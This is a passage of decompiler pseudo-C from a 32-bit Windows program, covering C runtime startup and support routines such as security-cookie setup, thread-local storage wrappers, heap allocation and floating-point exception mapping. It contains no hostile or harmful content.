ecx5 = __intrinsic();
if (__intrinsic() >= 7) {
ecx5 = ecx5;
if (__intrinsic() & 0x200) {
g416ae4 = edi3 | 2;
}
}
eax6 = g416010;
eax7 = eax6 | 2;
g416ae0 = 1;
g416010 = eax7;
if (!(ecx5 & 0x100000) || ((g416ae0 = 2, g416010 = eax7 | 4, (ecx5 & 0x8000000) == 0) ||
!(ecx5 & 0x10000000))) {
 }
}
return 0;
}

signed char fun_4041e7(void** ecx);

signed char fun_403ff6(void** ecx);

signed char fun_404223();

signed char fun_403d9e(void** ecx) {

signed char al2;
signed char al3;

al2 = fun_4041e7(ecx);
if (al2) {
al3 = fun_403ff6(ecx);
if (al3) {
return 1;
} else {
fun_404223();
}
}
return 0;
}

signed char fun_404029(void** ecx);

signed char fun_403dbd(void** ecx, signed char a2) {

if (!a2) {
fun_404029(ecx);
fun_404223();
}
return 1;
}

uint32_t g417288;

uint32_t fun_403ad5() {
uint32_t eax1;
int1_t zf2;

eax1 = 0;
 zf2 = g417288 == 0;
*reinterpret_cast<unsigned char*>(&eax1) = reinterpret_cast<uint1_t>(!zf2);
return eax1;
}

struct s12 {
uint32_t f0;
uint32_t f4;
uint32_t f8;
};

uint32_t fun_405abc(void** ecx, struct s12* a2) {

uint32_t eax3;
uint32_t eax4;

if (a2) {
if (a2->f0 == a2->f8) {
__asm__("ror eax, cl");
eax3 = g416004;
a2->f0 = eax3;
a2->f4 = eax3;
a2->f8 = eax3;
}
eax4 = 0;
} else {
eax4 = 0xffffffff;
}
return eax4;
}

void** fun_40888e(void** ecx, void** a2, void** a3, void** a4, void** a5);

void** fun_405c20(void** ecx, void** a2) {

void** eax3;

eax3 = fun_40888e(ecx, 0x40edb0, 0x40ee28, __return_address(), a2);

return eax3;
}

int32_t fun_405af9(void** ecx, void** a2, void** a3, void** a4, void** a5);

int32_t fun_405a89(void** ecx, void** a2) {

void** ebp3;
int32_t eax4;
 eax4 = fun_405af9(ecx, 0x416dd0, a2, ebp3, __return_address());
return eax4;
}

int32_t GetSystemTimeAsFileTime = 0x152ac;

int32_t GetCurrentThreadId = 0x15296;

int32_t GetCurrentProcessId = 0x15280;

int32_t QueryPerformanceCounter = 0x15266;

uint32_t fun_40352e() {
void* ebp1;
void* v2;
uint32_t eax3;
uint32_t eax4;
uint32_t v5;
uint32_t v6;

ebp1 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

v2 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(ebp1) - 12);
GetSystemTimeAsFileTime(v2);
eax3 = reinterpret_cast<uint32_t>(GetCurrentThreadId(v2));
eax4 = reinterpret_cast<uint32_t>(GetCurrentProcessId(v2));
QueryPerformanceCounter(reinterpret_cast<int32_t>(ebp1) - 20, v2);
return v5 ^ v6 ^ (eax3 ^ eax4) ^ reinterpret_cast<uint32_t>(reinterpret_cast<int32_t>(ebp1) -
4);
}

uint32_t g416ad8;

void fun_40383d(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void**
a8) {
g416ad8 = 0;
return;
}

struct s13 {
signed char[8] pad8;
int32_t f8;
};
void fun_403b82(struct s13*** a1, int32_t a2) {
a2(a1);
return;
}

int32_t fun_404170(void** ecx) {

int32_t eax2;

eax2 = reinterpret_cast<int32_t>(ecx());
return eax2;
}

void fun_404080(void** a1, void** a2, void** a3);

void fun_4041d0(void** ecx, void** a2, int32_t a3) {

void** edx4;

fun_404080(a2, ecx, edx4);

return;
}

struct s14 {
int16_t f0;
signed char[58] pad60;
int32_t f3c;
};

int32_t fun_40c990(struct s14* a1);

struct s15 {
signed char[8] pad8;
int32_t f8;
uint32_t fc;
signed char[20] pad36;
uint32_t f24;
};

struct s16 {
signed char[60] pad60;
int32_t f3c;
};

struct s15* fun_40c880(struct s16* a1, uint32_t a2);

uint32_t fun_40c8d0(int32_t a1) {
void** eax2;
int32_t eax3;
struct s15* eax4;
uint32_t eax5;

eax2 = g0;
g0 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 0xfffffff0);
eax3 = fun_40c990(0x400000);
if (!eax3 || (eax4 = fun_40c880(0x400000, a1 - 0x400000), eax4 == 0)) {
g0 = eax2;
return 0;
} else {
eax5 = ~(eax4->f24 >> 31) & 1;
g0 = eax2;
return eax5;
}
}

void** fun_403c00(void** ecx, void** a2, void** a3, void** a4) {

uint32_t eflags5;
void*** esp6;
uint32_t ecx7;
void** edi8;
void** esi9;
void** ebp10;
uint32_t ecx11;
int1_t zf12;
int32_t eax13;
int32_t edx14;
int32_t ebx15;
int16_t ss16;
int16_t cs17;
int16_t ds18;
int16_t es19;
int16_t fs20;
int16_t gs21;
void** eax22;
void** eax23;

*reinterpret_cast<int1_t*>(reinterpret_cast<int32_t>(&eflags5) + 1) = 0;
esp6 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 - 4 - 4);
if (*reinterpret_cast<void***>(a2) != 0xfffffffe) {
 ecx7 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2 + 4)) +
reinterpret_cast<unsigned char>(a3) ^ *reinterpret_cast<uint32_t*>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) + reinterpret_cast<unsigned char>(a3));
fun_402f62(ecx7, edi8, esi9, ebp10, __return_address(), a2, a3, a4);
esp6 = esp6 - 4 + 4;
}
ecx11 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2 + 12)) +
reinterpret_cast<unsigned char>(a3) ^ *reinterpret_cast<uint32_t*>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2 + 8)) + reinterpret_cast<unsigned char>(a3));
zf12 = ecx11 == g416004;
if (zf12) {
return *reinterpret_cast<void***>(a2 + 8);
}
eax13 = reinterpret_cast<int32_t>(IsProcessorFeaturePresent(23));
*reinterpret_cast<int1_t*>(&eflags5) = 0;
*reinterpret_cast<int1_t*>(&eflags5) = __intrinsic();
*reinterpret_cast<int1_t*>(&eflags5) = eax13 == 0;
*reinterpret_cast<int1_t*>(&eflags5) = eax13 < 0;
*reinterpret_cast<int1_t*>(reinterpret_cast<int32_t>(&eflags5) + 1) = 0;
*reinterpret_cast<int1_t*>(&eflags5) = __undefined();
if (!*reinterpret_cast<int1_t*>(&eflags5))
goto addr_4031f8_8;
addr_4031fd_9:
g416880 = eax13;
g41687c = ecx11;
g416878 = edx14;
g416874 = ebx15;
g416870 = esi9;
g41686c = edi8;
g416898 = ss16;
g41688c = cs17;
g416868 = ds18;
g416864 = es19;
g416860 = fs20;
g41685c = gs21;
g416890 = eflags5 & 0xfcffff;
g416884 = ebp10;
g416888 = reinterpret_cast<void**>(__return_address());
g416894 = reinterpret_cast<void*>(esp6 + 4 + 4 + 4 - 4 + 8);
g4167d0 = 0x10001;
eax22 = g416888;
g41678c = eax22;
g416780 = 0xc0000409;
g416784 = 1;
 g416790 = 1;
g416794 = 2;
eax23 = fun_4031bb(0x40e220, 23);
return eax23;
addr_4031f8_8:
ecx11 = 2;
__asm__("int 0x29");
goto addr_4031fd_9;
}

struct s17 {
void** f0;
signed char[3] pad4;
void** f4;
signed char[3] pad8;
void** f8;
};

int32_t fun_404470(void** ecx, int32_t a2, void** a3, void** a4, uint32_t a5, void** a6, void** a7,
void** a8, struct s17* a9);

void fun_404190(void** ecx, void** a2, uint32_t a3, void** a4, void** a5, void** a6, struct s17*
a7) {
fun_404470(ecx, 1, __return_address(), a2, a3, a4, a5, a6, a7);
goto ecx;
}

int32_t g416b2c;

int32_t DeleteCriticalSection = 0x15372;

signed char fun_404223() {

int32_t esi1;

esi1 = g416b2c;
if (esi1) {
do {
DeleteCriticalSection();
--g416b2c;
--esi1;
} while (esi1);
}
return 1;
}
void** g416020 = reinterpret_cast<void**>(0xff);

void fun_404370(void** ecx, void** a2);

signed char fun_404029(void** ecx) {

void** eax2;

eax2 = g416020;
if (eax2 != 0xffffffff) {
fun_404370(ecx, eax2);
g416020 = reinterpret_cast<void**>(0xffffffff);
}
return 1;
}

void fun_405d10(void** ecx, void** a2, void** a3, void** a4) {

void** v5;
void** eax6;
void** esi7;
void** ebp8;
void** eax9;
void** eax10;
void** eax11;

if (a2 && (v5 = g417250, eax6 = reinterpret_cast<void**>(HeapFree(ecx, v5, 0, a2)), !eax6)) {

eax9 = fun_4060e8(ecx, esi7, v5, 0, a2, ebp8, __return_address(), a2, a3, a4);
eax10 = reinterpret_cast<void**>(GetLastError(ecx));
eax11 = fun_40606f(ecx, eax10);
*reinterpret_cast<void***>(eax9) = eax11;
}
return;
}

struct s18 {
signed char[16] pad16;
void** f10;
signed char[3] pad20;
void** f14;
};

int32_t fun_4043ab(void** ecx, void** a2);

int32_t fun_4043e6(void** ecx, void** a2, void** a3);

void** fun_405d15(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7);

int32_t SetLastError = 0x15332;

struct s18* fun_403f64(void** ecx) {

int32_t v2;
int1_t zf3;
void** v4;
void** edi5;
void** v6;
int32_t eax7;
void** ecx8;
void** v9;
int32_t eax10;
void** esi11;
void** ebx12;
void** eax13;
void** esi14;
void** ecx15;
void** v16;
int32_t eax17;
void** v18;

v2 = reinterpret_cast<int32_t>(__return_address());
zf3 = reinterpret_cast<int1_t>(g416020 == 0xffffffff);
if (zf3) {
return 0;
}
v4 = edi5;
GetLastError();
v6 = g416020;
eax7 = fun_4043ab(ecx, v6);
ecx8 = v6;
if (eax7 == -1)
goto addr_403fa4_4;
if (!eax7) {
v9 = g416020;
eax10 = fun_4043e6(ecx8, v9, 0xff);
ecx8 = reinterpret_cast<void**>(0xff);
if (eax10) {
eax13 = fun_405d15(0xff, 1, 40, esi11, v4, ebx12, *reinterpret_cast<void***>(&v2));
esi14 = eax13;
ecx15 = reinterpret_cast<void**>(40);
 if (!esi14 || (v16 = g416020, eax17 = fun_4043e6(40, v16, esi14), ecx15 = esi14,
!eax17)) {
v18 = g416020;
fun_4043e6(ecx15, v18, 0);
ecx15 = reinterpret_cast<void**>(0);
} else {
esi14 = reinterpret_cast<void**>(0);
}
fun_405d10(ecx15, esi14, esi11, v4);
ecx8 = esi14;
} else {
addr_403fa4_4:
}
}
SetLastError(ecx8);
goto ebx12;
}

int32_t fun_4042ec(void** ecx, int32_t a2, int32_t a3, int32_t* a4, int32_t* a5);

int32_t TlsSetValue = 0x153cc;

int32_t fun_4043e6(void** ecx, void** a2, void** a3) {

int32_t eax4;
int32_t esi5;

eax4 = fun_4042ec(ecx, 3, "FlsSetValue", 0x40ecb0, "FlsSetValue");

if (!eax4) {
TlsSetValue();
} else {
image_base_(eax4);
eax4(eax4);
}
goto esi5;
}

int32_t TlsFree = 0x153da;

void fun_404370(void** ecx, void** a2) {

int32_t eax3;
int32_t ebp4;

eax3 = fun_4042ec(ecx, 1, "FlsFree", 0x40ec8c, "FlsFree");

if (!eax3) {
 TlsFree();
} else {
image_base_(eax3);
eax3(eax3);
}
goto ebp4;
}

int32_t g416038 = 0;

int32_t g416034 = 0;

int32_t g41603c = 0;

int32_t fun_404470(void** ecx, int32_t a2, void** a3, void** a4, uint32_t a5, void** a6, void** a7,
void** a8, struct s17* a9) {
int32_t eax10;
int32_t ebp11;
int32_t eax12;

g416038 = a2;
g416034 = eax10;
g41603c = ebp11;
return eax12;
}

void fun_404490(int32_t ecx) {

int32_t eax2;

eax2();
return;
}

struct s19 {
void** f0;
signed char[3] pad4;
int32_t f4;
};

int32_t fun_404120(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6);

void fun_404080(void** a1, void** a2, void** a3) {

struct s17* v4;
struct s17* ebp5;
 void** v6;
void** v7;
void** v8;
void** esp9;
void** v10;
uint32_t eax11;
uint32_t v12;
struct s19* ebx13;
void** ecx14;

v4 = ebp5;
v6 = a1;
v7 = a2;
v8 = a3;
esp9 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 - 4 - 4 -
4 - 4 - 4 - 4 - 4 - 4 - 4);
v10 = g0;
eax11 = g416004;
v12 = eax11 ^ reinterpret_cast<unsigned char>(esp9);
g0 = esp9;
while (*reinterpret_cast<void***>(a2 + 12) != 0xfffffffe && (a3 == 0xfffffffe ||
reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2 + 12)) >
reinterpret_cast<unsigned char>(a3))) {
ebx13 = reinterpret_cast<struct s19*>((reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2 + 8)) ^ reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1))) +
reinterpret_cast<uint32_t>(*reinterpret_cast<void***>(a2 + 12) + reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2 + 12)) * 2) * 4 + 16);
ecx14 = ebx13->f0;
*reinterpret_cast<void***>(a2 + 12) = ecx14;
if (ebx13->f4)
continue;
fun_404470(ecx14, 0x101, v10, fun_404120, v12, v8, v7, v6, v4);
fun_404490(1);
}
g0 = v10;
return;
}

int32_t LoadLibraryExW = 0x153f2;

uint32_t fun_405e28(uint16_t* a1, uint16_t* a2, uint32_t a3, uint16_t* a4, int32_t a5, int32_t
a6);
int32_t FreeLibrary = 0x153e4;

uint32_t fun_404252(void** ecx, int32_t* a2, int32_t* a3) {

int32_t* edi4;
uint32_t* ebx5;
uint32_t esi6;
uint16_t* eax7;
uint32_t eax8;
uint32_t eax9;
uint32_t eax10;
uint32_t tmp32_11;

edi4 = a2;
while (edi4 != a3) {
ebx5 = reinterpret_cast<uint32_t*>(*edi4 * 4 + 0x416b6c);
esi6 = *ebx5;
if (!esi6) {
eax7 = *reinterpret_cast<uint16_t**>(*edi4 * 4 + 0x40ebd0);
eax8 = reinterpret_cast<uint32_t>(LoadLibraryExW(eax7, 0, 0x800));
esi6 = eax8;
if (esi6)
goto addr_4042d9_5;
eax9 = reinterpret_cast<uint32_t>(GetLastError(eax7, 0, 0x800));
if (eax9 != 87)
goto addr_4042c5_7;
eax9 = fun_405e28(eax7, "a", 7, eax7, 0, 0x800);
if (!eax9)
goto addr_4042c5_7;
eax9 = reinterpret_cast<uint32_t>(LoadLibraryExW(eax7, 0, 0, eax7, 0, 0x800));
esi6 = eax9;
if (esi6)
goto addr_4042d9_5;
addr_4042c5_7:
*ebx5 = 0xffffffff;
} else {
if (esi6 != 0xffffffff)
goto addr_4042e8_11;
}
++edi4;
}
eax10 = 0;
addr_4042d4_15:
return eax10;
addr_4042d9_5:
 tmp32_11 = *ebx5;
*ebx5 = esi6;
if (tmp32_11) {
FreeLibrary(esi6, eax7, 0, 0x800);
}
addr_4042e8_11:
eax10 = esi6;
goto addr_4042d4_15;
}

uint32_t fun_405e28(uint16_t* a1, uint16_t* a2, uint32_t a3, uint16_t* a4, int32_t a5, int32_t a6)
{
uint32_t eax7;
uint16_t* ecx8;
uint16_t* edx9;
uint32_t esi10;

eax7 = a3;
if (eax7) {
ecx8 = a2;
edx9 = a1;
while ((--eax7, !!eax7) && ((esi10 = *edx9, !!*reinterpret_cast<uint16_t*>(&esi10)) &&
*reinterpret_cast<uint16_t*>(&esi10) == *ecx8)) {
++edx9;
++ecx8;
}
return *edx9 - *ecx8;
} else {
return eax7;
}
}

void** fun_40636d(void** ecx, void** a2, void** a3, void** a4);

void** fun_40c9d0(uint32_t a1, uint32_t a2, uint32_t a3, uint32_t a4);

uint32_t fun_404a14(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** ebx6;
void** esi7;
void** eax8;
int32_t edx9;
int32_t edx10;
uint32_t eax11;
void** edx12;
 void** ebp13;
void** eax14;

if (a2) {
if (!reinterpret_cast<int1_t>(a3 == 1) || (fun_40636d(ecx,
reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 0xfffffff8, ebx6, esi7), eax8 =
fun_40c9d0(0x2ac18000, 0xfe624e21, 0x989680, 0), edx9 >= 7) && (edx10 > 7 ||
reinterpret_cast<unsigned char>(eax8) > reinterpret_cast<unsigned char>(0x93406fff))) {
addr_404a33_3:
eax11 = 0;
} else {
*reinterpret_cast<void***>(a2) = eax8;
*reinterpret_cast<void***>(a2 + 4) = edx12;
eax11 = 1;
*reinterpret_cast<void***>(a2 + 8) = reinterpret_cast<void**>(0xb3960000);
}
return eax11;
} else {
eax14 = fun_4060e8(ecx, esi7, ecx, ecx, ebp13, __return_address(), a2, a3, a4, a5);
*reinterpret_cast<void***>(eax14) = reinterpret_cast<void**>(22);
fun_40602c(ecx, esi7, ecx, ecx, ebp13);
goto addr_404a33_3;
}
}

void** fun_4069e2(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11);

void** fun_4060e8(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10) {
void** eax11;

eax11 = fun_4069e2(ecx, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10);
if (eax11) {
return eax11 + 16;
} else {
return 0x416050;
}
}

void** fun_405fb1(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11);

void** fun_40602c(void** ecx, void** a2, void** a3, void** a4, void** a5) {
 int32_t v6;
void** eax7;

v6 = reinterpret_cast<int32_t>(__return_address());
eax7 = fun_405fb1(ecx, 0, 0, 0, 0, 0, *reinterpret_cast<void***>(&v6), a2, a3, a4, a5);
return eax7;
}

void** fun_4060fb(int32_t a1, void** a2, void*** a3, void*** a4, void** a5);

void** fun_40636d(void** ecx, void** a2, void** a3, void** a4) {

void*** ebp5;
uint32_t eax6;
void** v7;
void** esi8;
void** eax9;
void** ebp10;
void** eax11;

ebp5 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax6 = g416004;
v7 = reinterpret_cast<void**>(eax6 ^ reinterpret_cast<uint32_t>(ebp5));
eax9 = fun_4060fb(15, "GetSystemTimePreciseAsFileTime", "\t",
"GetSystemTimePreciseAsFileTime", esi8);
if (!eax9) {
GetSystemTimeAsFileTime();
} else {
image_base_(eax9);
eax9(eax9);
}
eax11 = fun_402f62(reinterpret_cast<unsigned char>(v7) ^ reinterpret_cast<uint32_t>(ebp5),
esi8, v7, ebp10, __return_address(), a2, a3, a4);
return eax11;
}

void** fun_40c9d0(uint32_t a1, uint32_t a2, uint32_t a3, uint32_t a4) {

int32_t edi5;
int32_t ebp6;
uint32_t eax7;
uint32_t eax8;
uint32_t eax9;
uint32_t ebx10;
uint32_t ecx11;
uint32_t eax12;
 void** eax13;
void** esi14;
uint32_t tmp32_15;
void** eax16;

edi5 = 0;
ebp6 = 0;
if (__intrinsic()) {
edi5 = 1;
ebp6 = 1;
eax7 = -a2;
a2 = eax7 - reinterpret_cast<uint1_t>(eax7 <
static_cast<uint32_t>(reinterpret_cast<uint1_t>(!!a1)));
a1 = -a1;
}
eax8 = a4;
if (__intrinsic()) {
++edi5;
eax9 = -eax8;
eax8 = eax9 - reinterpret_cast<uint1_t>(eax9 <
static_cast<uint32_t>(reinterpret_cast<uint1_t>(!!a3)));
a4 = eax8;
a3 = -a3;
}
if (eax8) {
ebx10 = eax8;
ecx11 = a3;
eax12 = a1;
do {
ebx10 = ebx10 >> 1;
__asm__("rcr ecx, 1");
__asm__("rcr eax, 1");
} while (ebx10);
eax13 = reinterpret_cast<void**>(eax12 / ecx11);
esi14 = eax13;
tmp32_15 = __intrinsic() + reinterpret_cast<unsigned char>(eax13) * a4;
if (tmp32_15 < __intrinsic())
goto addr_40ca78_9;
if (tmp32_15 > a2)
goto addr_40ca78_9;
if (tmp32_15 < a2)
goto addr_40ca81_12;
if (a3 * reinterpret_cast<unsigned char>(esi14) <= a1)
goto addr_40ca81_12;
 } else {
esi14 = reinterpret_cast<void**>(a1 / a3);
goto addr_40ca83_15;
}
addr_40ca78_9:
--esi14;
addr_40ca81_12:
addr_40ca83_15:
if (ebp6 - 1 < 0) {
}
eax16 = esi14;
if (!(edi5 - 1)) {
eax16 = reinterpret_cast<void**>(-reinterpret_cast<unsigned char>(eax16));
}
return eax16;
}

struct s20 {
void** f0;
signed char[7] pad8;
void** f8;
};

void** fun_404ad5(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
void** v8;
void** ebp9;
void*** ebp10;
void** v11;
uint32_t eax12;
void** v13;
void** esi14;
void** eax15;
void** esi16;
void** eax17;
void** edx18;
void** ecx19;
void** eax20;
void** edi21;
void** edi22;
struct s20* eax23;
struct s20* edx24;
void** ebx25;
 v7 = reinterpret_cast<void**>(__return_address());
v8 = ebp9;
ebp10 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
v11 = ecx;
eax12 = g416004;
v13 = reinterpret_cast<void**>(eax12 ^ reinterpret_cast<uint32_t>(ebp10));
eax15 = fun_4069e2(ecx, esi14, v11, v13, v8, v7, a2, a3, a4, a5, a6);
esi16 = eax15;
if (!esi16) {
addr_404c39_2:
eax17 = fun_402f62(reinterpret_cast<unsigned char>(v13) ^
reinterpret_cast<uint32_t>(ebp10), v11, v13, v8, v7, a2, a3, a4);
return eax17;
} else {
edx18 = *reinterpret_cast<void***>(esi16);
ecx19 = edx18;
eax20 = edx18 + 0x90;
if (edx18 == eax20) {
addr_404b16_4:
ecx19 = reinterpret_cast<void**>(0);
} else {
edi21 = a2;
do {
if (*reinterpret_cast<void***>(ecx19) == edi21)
break;
ecx19 = ecx19 + 12;
} while (ecx19 != eax20);
goto addr_404b16_4;
}
if (!(!ecx19 || (edi22 = *reinterpret_cast<void***>(ecx19 + 8), !edi22))) {
if (!reinterpret_cast<int1_t>(edi22 == 5)) {
if (edi22 == 1) {
addr_404c34_12:
} else {
v11 = *reinterpret_cast<void***>(esi16 + 4);
*reinterpret_cast<void***>(esi16 + 4) = a3;
if (!reinterpret_cast<int1_t>(*reinterpret_cast<void***>(ecx19 + 4) == 8)) {
*reinterpret_cast<void***>(ecx19 + 8) = reinterpret_cast<void**>(0);
image_base_(edi22);
edi22(edi22);
goto addr_404c2d_15;
} else {
eax23 = reinterpret_cast<struct s20*>(edx18 + 36);
edx24 = eax23 + 12;
 while (eax23 != edx24) {
eax23->f8 = reinterpret_cast<void**>(0);
eax23 = reinterpret_cast<struct s20*>(reinterpret_cast<uint32_t>(eax23) +
12);
}
ebx25 = *reinterpret_cast<void***>(esi16 + 8);
if (reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(ecx19)) >
reinterpret_cast<unsigned char>(0xc0000091))
goto addr_404bc6_20; else
goto addr_404b77_21;
}
}
} else {
*reinterpret_cast<void***>(ecx19 + 8) = reinterpret_cast<void**>(0);
}
}
}
goto addr_404c39_2;
addr_404c2d_15:
*reinterpret_cast<void***>(esi16 + 4) = v11;
goto addr_404c34_12;
addr_404bc6_20:
if (*reinterpret_cast<void***>(ecx19) == 0xc0000092) {
*reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x8a);
} else {
if (*reinterpret_cast<void***>(ecx19) == 0xc0000093) {
*reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x85);
} else {
if (*reinterpret_cast<void***>(ecx19) == 0xc00002b4) {
*reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x8e);
} else {
if (reinterpret_cast<int1_t>(*reinterpret_cast<void***>(ecx19) == 0xc00002b5)) {
*reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x8d);
}
}
}
}
addr_404c08_31:
image_base_(edi22);
edi22(edi22);
*reinterpret_cast<void***>(esi16 + 8) = ebx25;
goto addr_404c2d_15;
addr_404b77_21:
if (*reinterpret_cast<void***>(ecx19) == 0xc0000091) {
 *reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x84);
goto addr_404c08_31;
} else {
if (*reinterpret_cast<void***>(ecx19) == 0xc000008d) {
*reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x82);
goto addr_404c08_31;
} else {
if (*reinterpret_cast<void***>(ecx19) == 0xc000008e) {
*reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x83);
goto addr_404c08_31;
} else {
if (*reinterpret_cast<void***>(ecx19) == 0xc000008f) {
*reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x86);
goto addr_404c08_31;
} else {
if (reinterpret_cast<int1_t>(*reinterpret_cast<void***>(ecx19) == 0xc0000090)) {
*reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x81);
goto addr_404c08_31;
}
}
}
}
}
}

signed char fun_404cad(void** ecx) {

uint32_t eax2;
uint32_t eax3;
uint32_t eax4;
int32_t eax5;

eax2 = g416004;
eax3 = eax2 ^ reinterpret_cast<unsigned char>(g416b94);
__asm__("ror eax, cl");
eax4 = -eax3;
eax5 = reinterpret_cast<int32_t>(-(eax4 - (eax4 + reinterpret_cast<uint1_t>(eax4 < eax4 +
reinterpret_cast<uint1_t>(!!eax3)))));
return *reinterpret_cast<signed char*>(&eax5);
}

void** fun_406be9(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);
void** fun_404fdd(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** v9;
void** ecx10;
void*** esi11;
void** eax12;
void** v13;
void** edi14;
void** esi15;
void** ebp16;
void** eax17;

v9 = reinterpret_cast<void**>(__return_address());
if (reinterpret_cast<unsigned char>(a1) < reinterpret_cast<unsigned char>(0x3fffffff)) {
if (reinterpret_cast<unsigned char>(a2) >= reinterpret_cast<unsigned char>(-1 /
reinterpret_cast<unsigned char>(a3)) || (ecx10 =
reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a2) * reinterpret_cast<unsigned
char>(a3)), esi11 = reinterpret_cast<void***>(reinterpret_cast<unsigned char>(a1) << 2),
reinterpret_cast<unsigned char>(-1 - reinterpret_cast<uint32_t>(esi11)) <=
reinterpret_cast<unsigned char>(ecx10))) {
eax12 = reinterpret_cast<void**>(0);
} else {
v13 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx10) +
reinterpret_cast<uint32_t>(esi11));
eax17 = fun_406be9(ecx10, v13, 1, edi14, esi15, ebp16, v9, a1);
fun_406c46(ecx10, 0, v13, 1, edi14, esi15, ebp16, v9, a1, a2, a3, a4, a5, a6, a7, a8);
eax12 = eax17;
}
} else {
eax12 = reinterpret_cast<void**>(0);
}
return eax12;
}

int32_t HeapAlloc = 0x14f18;

void** fun_4056fb(void** ecx, void** a2, void** a3, void** a4, void** a5);

void** fun_4088ef(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6);

void** fun_406be9(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** v9;
void** v10;
 void** ebp11;
void** v12;
void** esi13;
void** esi14;
void** v15;
int32_t eax16;
void** eax17;
void** eax18;
void** eax19;

v9 = reinterpret_cast<void**>(__return_address());
v10 = ebp11;
v12 = esi13;
if (!a2 || reinterpret_cast<unsigned char>(0xe0 / reinterpret_cast<unsigned char>(a2)) >=
reinterpret_cast<unsigned char>(a3)) {
esi14 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a2) *
reinterpret_cast<unsigned char>(a3));
if (!esi14) {
++esi14;
}
do {
v15 = g417250;
eax16 = reinterpret_cast<int32_t>(HeapAlloc(ecx, v15, 8, esi14));
if (eax16)
break;
eax17 = fun_4056fb(ecx, v15, 8, esi14, v12);
} while (eax17 && (eax18 = fun_4088ef(ecx, esi14, v15, 8, esi14, v12), ecx = esi14,
!!eax18));
goto addr_406c36_6;
} else {
addr_406c36_6:
eax19 = fun_4060e8(ecx, v12, v10, v9, a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax19) = reinterpret_cast<void**>(12);
goto addr_406c43_7;
}
addr_406c43_7:
goto v9;
}

void** fun_406aad(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
void** v8;
void** v9;
void** ebp10;
void** edx11;
 void** v12;
void** esi13;
void** eax14;
void** v15;
void** edi16;
void* esi17;
uint32_t eax18;
void** esi19;

v8 = reinterpret_cast<void**>(__return_address());
v9 = ebp10;
edx11 = a2;
v12 = esi13;
if (!edx11 || (ecx = a3, ecx == 0)) {
addr_406acd_2:
eax14 = fun_4060e8(ecx, v12, v9, v8, a2, a3, a4, a5, a6, a7);
v15 = reinterpret_cast<void**>(22);
} else {
if (a4) {
edi16 = edx11;
esi17 = reinterpret_cast<void*>(reinterpret_cast<unsigned char>(a4) -
reinterpret_cast<unsigned char>(edx11));
do {
eax18 = *reinterpret_cast<uint16_t*>(reinterpret_cast<uint32_t>(esi17) +
reinterpret_cast<unsigned char>(edi16));
*reinterpret_cast<void***>(edi16) = *reinterpret_cast<void***>(&eax18);
edi16 = edi16 + 2;
if (!*reinterpret_cast<void***>(&eax18))
break;
--ecx;
} while (ecx);
if (ecx)
goto addr_406b0d_8; else
goto addr_406aff_9;
} else {
*reinterpret_cast<void***>(edx11) = reinterpret_cast<void**>(0);
goto addr_406acd_2;
}
}
addr_406ad4_11:
esi19 = v15;
*reinterpret_cast<void***>(eax14) = esi19;
fun_40602c(ecx, v12, v9, v8, a2);
addr_406adc_12:
 return esi19;
addr_406b0d_8:
esi19 = reinterpret_cast<void**>(0);
goto addr_406adc_12;
addr_406aff_9:
*reinterpret_cast<void***>(edx11) = reinterpret_cast<void**>(0);
eax14 = fun_4060e8(ecx, v12, v9, v8, a2, a3, a4, a5, a6, a7);
v15 = reinterpret_cast<void**>(34);
goto addr_406ad4_11;
}

void** fun_406c46(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16) {
void** v17;
void** eax18;
